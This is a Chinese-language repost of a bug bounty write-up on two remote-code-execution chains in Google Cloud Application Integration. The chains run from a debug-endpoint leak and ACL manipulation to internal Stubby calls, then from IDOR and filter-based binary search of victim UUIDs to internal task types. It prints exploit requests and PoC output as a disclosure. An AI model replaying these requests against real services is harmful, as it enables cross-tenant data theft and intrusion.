文章总结： 本文披露GoogleCloud生产环境CVE-2026-2031漏洞，攻击链始于调试端点信息泄露，通过proto定义泄露获取内部API结构，进而泄露内部工作流队列，最终利用Stubby信任模型实现两轮RCE，累计获赏金$148,337。文章详细展示了从信息泄露到RCE的完整利用过程，强调schema泄露将黑盒测试转为白盒，并给出安全建议。 综合评分： 92 文章分类： 漏洞分析,红队,渗透测试,云安全,WEB安全
2026年还能让Google掏出百万奖金的漏洞
原创
一个不正经的黑客 一个不正经的黑客
一个不正经的黑客
2026年9月14日 08:30 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
安全研究 · GOOGLE CLOUD RCE
StubZero：Google Cloud 生产环境的两轮 RCE，与 $148,337 赏金
CVE-2026-2031
生产环境 RCE · 累计赏金 $148,337
一句话结论
一次调试接口的信息泄露，两次演变成同一类错误——把租户可控的配置直接当成 Google 内部的高权限 Stubby 调用。
第一轮 $60,000，第二轮 $75,000，事后又追加 $13,337。
一一条私信，两块拼图，和窗口关闭前的一小时
起初只是一个调试端点上的信息泄露，最后升级成 Google Cloud 生产环境的完整远程代码执行。
三个月后，同样的事情又来了一遍。
这个漏洞被分配为 CVE-2026-2031。
故事从我的一个自动化 fuzzing 工具报警开始：API cloudcrmipfrontend-pa.googleapis.com 对一些可疑端点返回了 200。
再细看，这个 API 上挂着好几个公开的调试端点。
GenericStubbyTypedTaskV2 的图标，出自 Google 内部静态资源
在 Application Integration 上尝试配置 GenericStubbyTypedTask，返回的错误暴露了必填字段：
●●●响应
{
”error”: {
”code”: 400,
”message”: “‘Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'”,
”status”: “INVALID_ARGUMENT”
}
}
逐个补齐缺失的 key，最终暴露出 serverSpec、serviceName、serviceMethod。
同样的参数也适用于 GenericStubbyTypedTaskV2。
参考 Ezequiel Pereira 的 protobuf 仓库，加上我们在另一份 discovery document 里发现的 GSLB 地址，我们把任务配置成调用 gslb:alkali-base 上的 /ServerStatus.GetServices。
顺带一提
Alkali 是 Google 内部的一个框架，Googler 可以用极少的样板代码起一个生产级 API。
这类框架也集中了不少安全问题。
●●●创建出的工作流定义（节选）
{“workflow”: {“workflowId”: “f91833bf-eacb-43ac-8490-099fef977e19”, “name”: “retest-test123”,
”taskConfigs”: [{“taskName”: “GenericStubbyTypedTaskV2”, “taskNumber”: “1”, “parameters”: {
”response”: {“key”: “response”, “value”: {“stringValue”: “$response$”}, “dataType”: “STRING_VALUE”},
”serverSpec”: {“key”: “serverSpec”, “value”: {“stringValue”: “gslb:alkali-base”}, “dataType”: “STRING_VALUE”},
”serviceName”: {“key”: “serviceName”, “value”: {“stringValue”: “ServerStatus”}, “dataType”: “STRING_VALUE”},
”serviceMethod”: {“key”: “serviceMethod”, “value”: {“stringValue”: “GetServices”}, “dataType”: “STRING_VALUE”}},
”position”: {“x”: -716, “y”: -445}, “label”: “Stubby Internal”, “taskType”: “ASIS_TEMPLATE”,
”externalTaskType”: “NORMAL_TASK”}],
”triggerConfigs”: [{“startTasks”: [{“taskNumber”: “1”}], “triggerType”: “API”, “triggerNumber”: “1”,
”enabledClients”: [“default”], “triggerId”: “api_trigger/my-api-trigger-123”}],
”status”: “DRAFT”, “snapshotNumber”: “1”, “tags”: [“HEAD”], “clientId”: “default”}}
这里的每一步都跟 Application Integration 对得上：工作流结构、任务配置，乃至发布和运行的流程。
看我们工作流里那个 “position”: {“x”: -716, “y”: -445} 了吗？
内部 UI 大概长得很像 Application Integration 的可视化工作流编辑器，我们实质上是在给任务设置坐标：
Application Integration 的可视化工作流编辑器：与内部 UI 的结构一致
还记得之前挡住我发布的 ACL 问题吗？
shrugged 想出了绕法——把 IP_EVENTBUS_WORKFLOWS 的 ACL 更新成两个攻击者控制的 Google 账号的混淆 Gaia ID：
●●●请求 · setAcl
POST /v1/integrationPlatform/auth:setAcl HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Origin: https://console.cloud.google.com
Content-Type: application/json
Content-Length: 500
{“resourceInfo”: {“resource”: “IP_EVENTBUS_WORKFLOWS”, “id”: “retest-test123”},
”acl”: {“entries”: [
{“scope”: {“obfuscatedGaiaId”: “100029910836469267942”}, “role”: 105},
{“scope”: {“obfuscatedGaiaId”: “113728935872649341310”}, “role”: 105}]}}
●●●响应
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{}
先用第一个攻击者账号把请求切换成「请求发布」：
●●●请求 · toggleRequestToPublishWorkflow
POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Content-Type: application/json
{“workflowId”: “f91833bf-eacb-43ac-8490-099fef977e19”}
再用第二个账号真正发布工作流——两人审批就此失效：
●●●请求 · publishWorkflow（第二个账号）
POST /v1/integrationPlatform/workflowdeployment:publishWorkflow HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Content-Type: application/json
{“workflowId”: “f91833bf-eacb-43ac-8490-099fef977e19”}
运行一个配置了 GenericStubbyTypedTaskV2 的工作流，serverSpec 设为 gslb:alkali-base、服务和方法设为 /ServerStatus.GetServices，我们就执行了 Stubby 查询：
●●●响应 · 内部 Stubby 服务清单（节选）
…
{
”protoValue”: {
”@type”: “type.googleapis.com/rpc.ServiceList”,
”service”: [
{
”name”: “AlkaliBaseAccountService”,
”descriptor”: {
”filename”: “google/internal/alkali/base/v1/alkali_base_account_service.proto”,
”name”: “AlkaliBaseAccountService”,
”method”: [
{
”name”: “ListAccounts”,
”argumentType”: “google.internal.alkali.base.v1.ListAccountsRequest”,
”resultType”: “google.internal.alkali.base.v1.ListAccountsResponse”,
”deadline”: 30,
”securityLevel”: “none”
},
…
}
}
]
}
之后我们把 RCE 升级补进了最初的报告。
时机卡得极紧：
PoC 跑通一小时后，createDraftWorkflow 的修复就完全生效了。
再晚一点，这次 RCE 升级就只会停在理论层面。
话说回来，我们还没真正在 Google 服务器上执行代码，就被叫停了。
六第一轮时间线
| 日期 | 事件 | | — | — | | 2025-12-01 | 初始报告提交给 Google | | 2025-12-01 | Google 定级 P0/S0 | | 2025-12-01 | Nice catch! | | 2026-01-12 | 向 Google 安全团队说明 RCE 升级 | | 2026-01-12 | 报告更新 RCE PoC，随后被 Google 升级 | | 2026-01-16 | 评审组奖励 $60,000 |
评审组给出的理由
这份报告质量极高。
漏洞类别为「Google Cloud 生产环境被攻陷」。
攻击者与受害者之间无需任何交互或关系。
默认 Google Cloud 产品。
第一轮攻击链 · 从调试端点到 Stubby 原语
① 泄露 proto 定义→② 泄露 client_id
③ 绕过发布限制→④ 配置 Stubby 任务
⑤ 执行内部 RPC
七第二轮：三个月后
你以为到这就结束了？
没那么容易。
三个月后，我的 fuzzer 又报来一批 IDOR，位于公开产品 Application Integration 的公开 API 上。
结果发现，这整张 API 里，你可以在 URL 里引用自己的 project ID，却引用别人的 UUID：
●●●请求 · 越权读取集成版本
GET /v1/projects/
Host: integrations.googleapis.com
Authorization: Bearer
API 会开开心心地把受害者的资源返回给你——因为认证检查是针对你的 project ID 做的（你当然对自己项目有权限），但没有任何访问控制去检查这个 ID 是否真的属于你的项目。
光是这个，影响有限，因为这些都是 UUIDv4。
搜索空间 10^36，暴力枚举没有现实意义。
所以我开始找有没有办法泄露受害者的资源 UUID。
这时我注意到一个有意思的「测试用例」功能。
按官方文档：用 Application Integration，你可以针对复杂的集成创建并运行多个测试用例；通过测试你的集成流程，可以确保集成按预期工作。
前端加载测试用例时，浏览器会发这样的请求：
●●●请求 · ListTestCases
POST /$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases HTTP/2
Host: us-central1-integrations.clients6.google.com
Content-Type: application/x-protobuf
< RAW PROTOBUF DATA >
真正的请求体是 protobuf，我把它解码出来是这样的：
●●●解码后的请求体
{
”1″: “projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4”,
”2″: “workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4”,
”6″: {
”1″: [“name”, “display_name”, “update_time”, “client_id”]
}
}
字段 1 是父资源（我的项目、我的版本 UUID），字段 6 是响应字段掩码，而字段 2 的 workflow_id = … 看起来是一种过滤器。
会不会只要不带这个字段，它就会返回所有工作流的测试用例？
应该不至于吧……
把字段 2 和 6 从请求里去掉：
●●●请求体（去掉 filter 与字段掩码）
{
”1″: “projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4”
}
……响应里带回了每一个其他 GCP 项目的测试用例：
●●●响应 · 跨项目测试用例泄露（节选）
{
”testCases”: [
{
”name”: “projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3”,
”displayName”: “test”,
”triggerId”: “api_trigger/AI_bebbia_CreateWOSubs_API_1”,
”testInputParameters”: [
{
”key”: “InputData”,
”dataType”: “JSON_VALUE”,
”defaultValue”: {
”jsonValue”: “{\n \”OldSKU\”: \”300465\”,\n \”orderid\”: \”7fe9ffa9-d122-484b-96df-9ef85cd3aa8a\”,\n …\n}”
},
”displayName”: “InputData”
}
],
”creatorEmail”: “[email protected]”,
…
}
]
}
不过仔细看响应，你会发现一处不对劲。
每一条结果里的 versions/… 段都是 631a0566-02fc-4dce-b319-25e2c68168f4——那是我在字段 1 里发过去的我的版本 UUID。
API 只是把它原样反射进了每一条测试用例的 name 里，而这些测试用例属于完全不同的项目、不同的集成。
所以现在我有跨全部 GCP 项目的测试用例 ID、集成名和创建者邮箱，但我真正需要的、用来喂给前面那些 IDOR 的受害者版本 UUID，响应里一个都没有。
话虽如此，光测试用例 ID 就足够造成真实影响了。
Application Integration 暴露了一个 :executeTest 端点，按 ID 运行测试用例，而且它并不需要受害者真正的版本 UUID。
●●●请求 · executeTest
POST /v1/projects/
Host: integrations.googleapis.com
Authorization: Bearer
Content-Length: 0
●●●响应
{
”executionId”: “5d49abed-7692-47aa-8660-5cdaea92d2af”,
”outputParameters”: {
”output”: 3
},
”assertionResults”: [
{
”assertion”: {
”assertionStrategy”: “ASSERT_EQUALS”,
”parameter”: { “key”: “output”, “value”: { “intValue”: “3” } }
},
”taskNumber”: “1”,
”taskName”: “JsonnetMapperTask”,
”status”: “SUCCEEDED”
}
],
”testExecutionState”: “PASSED”
}
所以我已经能在任意受害者的环境里触发任意测试用例执行了。
但真正的目标仍然是利用前面的 IDOR 读取受害者的整个集成，而这需要真实的版本 UUID。
我在这卡了一会儿，直到冒出一个想法：
filter 参数（字段 2）明显支持 = 这种比较运算符。
那它会不会也支持 > 和 <=？
如果支持，我就能锚定一个已知的测试用例 ID，然后对 workflow_id 字段做二进制搜索，一次一个十六进制字符，直到把整个 UUID 拼出来：
●●●二进制搜索条件
id = “
每个请求都会收窄区间。
如果测试用例仍然出现在响应里，真实的 workflow_id 就在 (low, high] 内，否则就在区间外。
一个 32 字符的十六进制 UUID，128 个请求就能逼出来。
我让 Claude 写了个 PoC，一次跑通：
●●●extract_by_id.py · 运行输出
$ python extract_by_id.py –token “
Test case: 60413427-4d07-4c36-bce0-66cfcdd81879
Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-
Verified: target found. Starting binary search…
[ 4/32] fb1d0000-0000-0000-0000-000000000000 (16 reqs)
[ 8/32] fb1dc5f3-0000-0000-0000-000000000000 (32 reqs)
[12/32] fb1dc5f3-0380-0000-0000-000000000000 (48 reqs)
[16/32] fb1dc5f3-0380-491c-0000-000000000000 (64 reqs)
[20/32] fb1dc5f3-0380-491c-af90-000000000000 (80 reqs)
[24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96 reqs)
[28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112 reqs)
[32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128 reqs)
workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests: 128
现在我拿到了受害者真实的集成版本 UUID。
把它和 GetIntegrationVersion 的 IDOR 串起来：
●●●请求 · GetIntegrationVersion
GET /v1/projects/
Host: integrations.googleapis.com
Authorization: Bearer
●●●响应 · 另一个项目的完整集成（节选）
{
”name”: “projects/
”state”: “DRAFT”,
”triggerConfigs”: [
{
”label”: “API Trigger”,
”triggerType”: “API”,
”triggerId”: “api_trigger/TestCasePOC5_API_1”
}
],
”taskConfigs”: [
{
”task”: “GenericRestV2Task”,
”displayName”: “Call REST Endpoint”,
”parameters”: {
”url”: { “key”: “url”, “value”: { “stringValue”: “$url$” } },
”httpMethod”: { “key”: “httpMethod”, “value”: { “stringValue”: “POST” } },
”authConfigName”: { “key”: “authConfigName”, “value”: { “stringValue”: “authprofiletest” } }
}
}
],
”integrationParameters”: [
{ “key”: “url”, “dataType”: “STRING_VALUE”, “defaultValue”: { “stringValue”: “https://example.com” } }
],
”lastModifierEmail”: “[email protected]”,
”createTime”: “2026-03-22T11:10:30.087Z”
}
如果还记得最初那份测试用例 dump，里面有相当一部分 creatorEmail 是以 @google.com 结尾的——有不少 Google 内部团队在这个平台上跑自己的集成。
我下一个念头很明显：
这些 Googler 的集成里，会不会已经有人配置了 GenericStubbyTypedTaskV2（或者 PythonTask、CreateBuganizerIssueTask 之类的内部专用任务）？
只要有任何一个，这条跨租户链就能升级成严重得多的东西。
但我没法去验证。
做这件事意味着要遍历真实客户数据，那会违反 Google VRP 的规则。
所以我把手上的东西整理好，直接交给了 Cloud VRP。
漏洞点评
把「不可爆破」变成「可枚举」，是这个技巧的全部价值——filter 支持比较运算、结果又回显，每个请求就变成一个「目标 ID 比这个值大吗」的判定器，128 次请求确定性地抠出 128 bit 的 ID。
八配置内部任务类型：第二轮 RCE
这让我开始想：
到底是什么在阻止我自己创建一个带内部任务类型的集成？
试一下：
●●●请求 · 创建带 PythonTask 的集成版本
POST /v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions HTTP/2
Host: integrations.googleapis.com
Authorization: Bearer
Content-Length: 1033
{
”taskConfigsInternal”: [
{
”taskNumber”: “1”,
”taskName”: “PythonTask”,
…
”taskEntity”: {
”uiConfig”: {
”taskUiModuleConfigs”: [
{ “moduleId”: “RPC_TYPED” }
]
}
},
”taskType”: “ASIS_TEMPLATE”,
”parameters”: {
”TEST”: { “key”: “test”, “value”: { “stringValue”: “test” } }
}
}
],
…
}
●●●响应
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
”name”: “projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions/304adc1b-6d09-4b2d-a070-db48b821879a”,
”origin”: “UI”,
”snapshotNumber”: “1”,
”updateTime”: “2026-05-01T07:30:07.182512Z”,
”lockHolder”: “[email protected]”,
”lastModifierEmail”: “[email protected]”,
”state”: “DRAFT”,
…
}
真的可以。
但当我试图真正执行这个工作流时，它直接超时了：
●●●执行报错
Execution timeout, cancelled graph execution. The default timeout is 2min for sync
execution and 10min for async execution. If you are using sync execution, please try
async execution such as the Schedule API or Cloud Scheduler trigger.
error/code: ‘common_error_code: SYNC_EVENTBUS_EXECUTION_TIMEOUT’
有一处很怪：
当我配置 PythonTask（内部任务之一）、创建测试用例并执行它时，前端收到的不是超时，而是这个可疑的错误：
●●●测试用例执行返回
{
”1″: 9,
”2″: “java.io.IOException: No space left on device”
}
这是执行后端抛出的真实异常，不是超时——不管测试用例走的是哪条代码路径，它已经深到在真实磁盘 I/O 上失败了。
用 GenericStubbyTypedTaskV2 试同样的手法，拿到的是一个信息更少、但同样可疑的响应：
●●●测试用例执行返回
Failed to execute test case. Error: Unknown Error.
我去查了工作流执行日志，真正的错误这才露出来：
●●●工作流执行日志
{
”message”: “com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w “,
”code”: 500
}
这非常可疑。
我肯定摸到东西了。
访问这个端点：
●●●请求 · 下载执行栈
GET /v1/projects/
Host: integrations.googleapis.com
Authorization: Bearer
就能把完整的堆栈拉下来：
●●●堆栈（节选）
com.google.enterprise.crm.exceptions.IpCanonicalCodeException:
com.google.enterprise.crm.eventbus.testcase.task.mock.MockExecutionFailureException:
com.google.net.rpc3.client.RpcClientException:
enterprise.crm.eventbus.stubby/EventbusStubbyCallerService.ExecuteStubbyCall;
com.google.security.authentication.common.CredentialsUnsupportedException:
UberMint verification is disabled. You can enable it in AuthenticationMethods;
RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w ;
AppErrorCode=16;StartTimeMs=1774319566778;unknown;ResFormat=uncompressed;
Server=[2002:a05:6670:4003:b0:ced:80ad:4c54]:4001 Code: FAILED_PRECONDITION
at …EventbusStubbyCallerService.ExecuteStubbyCall(…)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.serialize(EventParametersUtil.java:744)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.toParameterValueType(EventParametersUtil.java:654)
at app//com.google.enterprise.crm.platform.eventbus.v3.EventParametersUtil.lambda$addEventParametersToEventMessage$0(EventParametersUtil.java:475)
…
这就清楚了：
我们的变量被直接塞进后端的一个 ExecuteStubbyCallRequest 里。
根据折腾参数值时看到的堆栈，我猜后端代码大概长这样：
●●●后端伪代码（据堆栈推测）
GenericStubbyTypedTaskV2.buildRequest():
line 219: setServerAddress(serverSpec) → ExecuteStubbyCallRequest.java:1123
line 220: setServiceName(serviceName) → ExecuteStubbyCallRequest.java:1219
line 221: setMethodName(serviceMethod) → ExecuteStubbyCallRequest.java:1313
那是不是还有某个参数是必需的？
问题在于，堆栈只帮我泄露了已知的三个参数——serverSpec、serviceName、serviceMethod，我没能从这条路径上挖出更多。
另外，Google 把这类 RCE 升级当作安全事件处理，所以在继续之前，我向 Google 安全团队申请了放行。
他们很快回复，确认这确实可利用，并让我停止进一步测试。
报告很快被升级为 P0/S0，并收到 Nice catch。
差不多一个月后，这份报告在「Google Cloud 生产环境被攻陷」类别下获得 $75,000，是我到那时为止单笔最高的赏金。
RCE 赏金的基础档位
$50k：
相对无特权的生产用户访问；
$75k：
有特权的生产用户访问；
$100k：
Google Cloud 管理员。
一次 RCE 落在哪一档，看被攻陷的 prod 身份能直接摸到多少生产环境。
生产环境的攻击面就这么大，拿到任意一个初始访问，往上提权几乎是一定的。
Google 对具体理由说得很含糊，但看起来内部团队自己排查这条链时，发现的真实影响比我展示的还要大得多——这就是它落在 $75k 这一档的原因。
漏洞点评
Google 的动作没得挑：
几小时定级 P0/S0，一句 Nice catch，$60k、$75k、追加的 $13,337 都给得干脆。
但定价理由始终含糊——$75k 这档只给了一句「有特权的生产用户访问」，说不清是哪个 prod 身份、最终能触达什么。
他自己的判断是，内部团队排查时看到的真实影响比 PoC 大得多，而这部分至今没有对外解释。
第二轮攻击链 · 从 IDOR 到跨租户内部任务
① 越权 IDOR→② 测试用例泄露
③ 二进制搜索 UUID→④ 读取任意集成
⑤ 内部任务 RCE
九第二轮时间线
| 日期 | 事件 | | — | — | | 2026-03-21 | 初始报告提交给 Google | | 2026-03-23 | Google 定级 P1/S1 | | 2026-03-23 | 说明 RCE 升级，随即收到 Nice catch，报告升级为 P0/S0 | | 2026-04-28 | 评审组奖励 $75,000 | | 2026-05-06 | 告知 Google：GetIntegrationVersion RPC 仍然存在漏洞 | | 2026-05-08 | 评审组追加奖励 $13,337 |
追加奖励的理由
漏洞类别为「单服务权限提升 – 写」，其余判定与第一轮一致。
十漏洞点评：这 $148,337 买的是什么
两轮 RCE 的入口形态毫不相同——第一轮是三个可配置参数，第二轮是一个未公开的任务类型名——但被卖掉的都是同一件事：授权边界没画在正确的地方。
产品把内部编排原语（任意 Stubby 方法、内部任务类型）暴露给外部租户，服务端只认证、不鉴权，于是用户提交的一段配置被直接当成一次高权限内部调用；而内部能力只藏在 UI 里、不落在服务端类型白名单上，等于没藏。
拿到 Stubby 原语之所以被直接定级为 RCE，是因为原语的杀伤半径由被劫持的 prod 身份决定，不是由你能在 borglet 上跑什么决定——地基则是那一个 schema 泄露端点，没有它，后面每一步「我知道该填哪个参数」都不成立。
这 $148,337 买的就是这件事：
赏金定价的是攻击面，不是利用难度。
这条链是两个人各自卡在半路、靠一次闲聊拼起来的：一边握着 client_id，另一边握着 GenericStubbyTypedTaskV2 的线索，Discord 群里一句话，两个死结同时解开。
厂商那侧的信号同样清楚：
定级快、赏得干脆，但修复要等灰度刷完全量后端才算数——PoC 跑通与全量修复之间只隔了一小时；而定价理由始终含糊。
攻击者的时间窗口和厂商的解释力，比赏金数字更值得盯。
十一读者须知
研究来源：
brutecat.com/articles/google-cloud-rce/
本文内容整理自上述公开研究，仅用于安全研究、漏洞原理分析与防御科普，帮助安全从业者看清「把内部能力暴露给外部输入」这类授权边界缺陷是怎么出事的。
文中涉及的接口、参数与调用链均已在授权范围内报告并修复；严禁将文中方法用于未经授权的系统、网络或账号。
因将上述内容用于非法目的而产生的一切法律后果，由使用者自行承担。
一个不正经的黑客 · 十年信息安全老兵
© 2026 一个不正经的黑客 保留所有权利
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：一个不正经的黑客 一个不正经的黑客 一个不正经的黑客《2026年还能让Google掏出百万奖金的漏洞》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论